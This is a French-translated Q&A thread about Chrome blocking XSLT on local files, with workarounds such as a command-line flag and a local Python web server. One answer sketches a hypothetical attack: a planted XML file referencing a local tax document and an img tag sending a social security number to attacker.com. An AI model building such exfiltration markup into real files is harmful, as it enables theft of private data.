Chrome peut-il être amené à effectuer une transformation XSL sur un fichier local?

91

J'étais en train de regarder dans xslt et j'ai commencé à tester avec les exemples sur w3schools.

Cependant, lorsque j'enregistre les fichiers xml et xsl dans des fichiers et que j'essaye de les ouvrir localement, chrome n'effectue pas la transformation xsl. Il montre juste une page vierge.

J'ai ajouté la <?xml-stylesheet type="text/xsl" href="style.xsl">balise au document xml, et Firefox le restitue comme il est censé le regarder. De plus, si je regarde les fichiers via un serveur Web, Chrome affiche le fichier tel qu'il est censé le regarder.

Est-ce que Chrome a un problème pour trouver les informations de la feuille de style lorsque le lien est local? Changer le href en file:///C:/xsl/style.xsln'a fait aucune différence.

Mise à jour: Cela semble être un effet secondaire d'une politique de sécurité de ne pas traiter file: /// * comme étant la même origine. Cela fait apparaître l'erreur suivante dans la console:

Tentative non sécurisée de chargement du fichier URL: /// C: /xsl-rpg/style.xsl à partir du cadre avec le fichier URL: /// C: /xsl-rpg/data.xml. Les domaines, protocoles et ports doivent correspondre.

Zaz
la source
1
Il semble que le file:protocole Chrome génère la même erreur de domaine.
1
Sur IE11, cela fonctionne. Chrome devient maléfique.
Marco Demaio

Réponses:

74

La réponse courte est "Non, utilisez l'un des nombreux navigateurs disponibles " .

La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a résolu de manière controversée [1] [2] [3] [4] , en empêchant les fichiers XML d'accéder aux fichiers XSLT locaux dans le même répertoire, tandis que HTML les fichiers peuvent accéder aux fichiers .CSS dans le même répertoire très bien.

À travers les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (puisque les domaines, les protocoles et les ports correspondent en fait), ou du moins afficher le XML sans le style. Les développeurs Chrome ont ignoré ces demandes.

Zaz
la source
18
Bien que leur souci de sécurité ait du sens, les fichiers XML devraient pouvoir charger des feuilles de style XSL à partir du même répertoire, tout comme les fichiers HTML peuvent charger des images et des scripts à partir du même répertoire. Il y a un problème que vous pouvez marquer, mais l'équipe de développement de Chrome a interdit les nouveaux commentaires à ce sujet - bien qu'ils se soient plaints de ne pas pouvoir quantifier à quel point les utilisateurs souhaitaient que l'origine du fichier local soit assouplie.
Dan Dascalescu
1
Fait intéressant: Safari sur Mac (8.0) fonctionne très bien avec XSLT local, mais Safari sur simulateur iOS (8) (et je suppose également sur iOS) j'ai eu la même erreur que dans Chrome "Les domaines, les protocoles et les ports doivent correspondre. ". Mais si je dois implémenter UIWebView dans l'application et charger du XML avec XSLT, tout fonctionne bien.
Paul Brewczynski
petit point à utiliser un autre navigateur lorsque la tâche est de corriger un rendu xslt particulier dans les navigateurs chrome ...
n611x007
Une approche qui fonctionne avec Chromium consiste à intégrer le fichier XSL dans le fichier XML en tant qu'URI data: text / xsl.
EricLaw
57

Vous pouvez le faire localement à l'aide des indicateurs de ligne de commande de Chrome.

Le drapeau spécifique est --allow-file-access-from-files

Sur OS X: à partir de Terminal.app exécuter /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Sous Windows: à partir de l'invite de commande, exécutez %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Remarque: vous devrez probablement quitter Chrome s'il est en cours d'exécution sinon Ch

Jake Burton
la source
Cela ne semble pas fonctionner pour moi sous Windows 7. J'ai trouvé chrome.exe situé ici:, C:\Program Files (x86)\Google\Chrome\Applicationet la commande --allow-file-access-from-files s'exécute très bien, mais mon document XML local (transformé par un fichier XSLT local) ne s'affiche pas.
Rick soutient Monica le
2
Peut-être que vous devez tuer tous les processus Windows en cours d'exécution pour chrome.exe dans le gestionnaire de tâches Windows à la main. Pour moi, cela a fonctionné.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filestravaillé pour moi. De toute évidence, j'utilise Chrome Canary. Après avoir exécuté cette commande, une nouvelle fenêtre Chrome devrait s'ouvrir et vous permettre d'effectuer votre transformation XSL.
SeanLF
2
Plus rapide sur Windows 7: touche Fenêtre + R; "chrome --autoriser-l'accès-aux-fichiers-à-partir-des-fichiers"; Entrer.
Aaron Campbell
Ou dans PowerShell (tue les chromes précédents pour vous):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
15

Si vous voulez vous en tenir à l'OP, la réponse est non (comme d'autres l'ont souligné), mais une façon de résoudre le problème est d'exécuter un simple serveur Web et d'ouvrir les fichiers via http dans chrome. Si vous avez installé python 2.x, vous pouvez exécuter un serveur Web en tapant:

python -m SimpleHTTPServer

Ou en python 3.x:

python3 -m http.server

puis ouvrez le fichier en utilisant http://localhost:8000/yourfile.xmldans chrome. J'espère que vous voulez juste faire votre travail et que ce n'est pas une chose cruciale d'avoir à ouvrir un fichier en utilisantfile://

morphée
la source
3

Il a fallu un peu de déchiffrement sur la page Chrome Bug - ils sont très désireux de ne pas expliquer quel est le problème et pourquoi ils ont choisi de briser tout le monde plutôt que de ne pas briser tout le monde.

Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Et une entité malveillante - en quelque sorte - a réussi à déposer un fichier Xml malveillant sur mon ordinateur, par exemple:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml contient une instruction de traitement de feuille de style ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

L'attaquant ordonne ensuite à mon navigateur d'accéder au trojanVirusWorm.xmlfichier enregistré localement .

Apparemment, il existe un moyen pour un fichier XML de lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe Chrome nous assure que c'est un danger et qu'il ne peut pas être résolu.

Tous les autres navigateurs l'ont résolu. Ils l'ont résolu parce que ce n'est pas un problème .

Ian Boyd
la source
3

Ma solution de contournement pour voir un XML selon un fichier xsl

Supposons que nous ayons un some_file.xml avec des en-têtes:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Nous téléchargeons le fichier https://some-site.com/Common.xslet le plaçons à côté dusome_file.xml
  2. Changer une partie de notre en-tête de href="https://some-site.com/Common.xsl"à href="http://localhost:8001/Common.xsl"
  3. Exécutez dans le répertoire avec nos fichiers - python3 -m http.server 8001
  4. Ouvrir dans n'importe quel navigateur http://localhost:8001/some_file.xml
Greg Eremeev
la source
0

Vous pouvez activer Chrome pour afficher le fichier XSL en modifiant les paramètres de votre navigateur. Une approche plus sûre serait d'y accéder via un serveur Web local, tel que Visual Studio Code Live Server ou Apache. Voir XSLT ne sera pas rendu sur les fichiers locaux pour les étapes.

Ryan C. Perry
la source